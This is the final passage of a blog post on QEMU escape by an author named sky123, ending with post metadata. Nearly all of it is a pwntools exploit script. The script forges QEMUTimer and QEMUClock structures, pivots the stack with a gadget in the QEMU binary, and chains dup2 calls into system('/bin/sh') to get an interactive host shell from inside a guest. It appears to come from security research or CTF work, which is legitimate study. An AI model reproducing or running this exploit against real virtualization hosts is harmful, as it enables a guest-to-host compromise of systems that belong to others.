0x40: p64(0xbeefbeef) # QEMUTimer
})
payload = payload.replace(p64(0xbeefbeef), p64(payload_addr + len(payload)))

"""
0x0000000000709c51 : push rax ; add byte ptr [rax - 0x75], cl ; pop rbp ; clc ; leave ; xor eax, eax ; xor edx, edx ; xor ecx, ecx ; xor esi, esi ; xor edi, edi ; ret
"""
stack_pivot = qemu.address + 0x0000000000709c51

payload += flat({ # QEMUTimer
0x0: p64(0), # expire_time
0x10: p64(stack_pivot), # cb
0x18: p64(0xdeadbeef) # attributes
})
payload = payload.replace(p64(0xdeaddead), p64(payload_addr + len(payload)))

payload += flat({ # QEMUClock
0x8: p32(0), # type
0xc: p8(1), # enabled
})

fd_guess = 10
rop = b""
rop += p64(next(libc.search(asm('pop rdi; ret;'))))
rop += p64(fd_guess)
rop += p64(next(libc.search(asm('pop rsi; ret;'))))
rop += p64(0)
rop += p64(libc.sym['dup2'])
rop += p64(next(libc.search(asm('pop rdi; ret;'))))
rop += p64(fd_guess)
rop += p64(next(libc.search(asm('pop rsi; ret;'))))
rop += p64(1)
rop += p64(libc.sym['dup2'])
# rop += p64(next(libc.search(asm('pop rdi; ret;'))))
# rop += p64(fd_guess)
# rop += p64(next(libc.search(asm('pop rsi; ret;'))))
# rop += p64(2)
# rop += p64(libc.sym['dup2'])
rop += p64(next(libc.search(asm('pop rdi; ret;'))))
rop += p64(next(libc.search(b'/bin/sh\x00')))
rop += p64(libc.address + 0x582d2) # p64(libc.sym['do_system'] + 2)
# rop += p64(libc.sym['system'])

payload += b"a" * 3
payload = payload.replace(p64(0xdeadbeef), p64(payload_addr + len(payload) - 8))
payload += rop

payload = flat(
{23: payload},
filler=cyclic(250, n=8),
length=250
)

info("payload len: " + str(len(payload)))
print(hexdump(payload))

fc10_req(0, (0x10000 - 250 // 2), payload) # [0xff83*2,(0xff83+250/2)*2-1]=[0x1ff06,0x1ffff]
fc03_req(0, 0x10000 - 0x80, 0x80)

io.interactive()
  • Title: qemu 逃逸
  • Author: sky123
  • Created at : 2025-10-30 22:52:43
  • Updated at : 2025-10-30 23:09:46
  • Link: https://skyi23.github.io/2025/10/30/qemu 逃逸/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments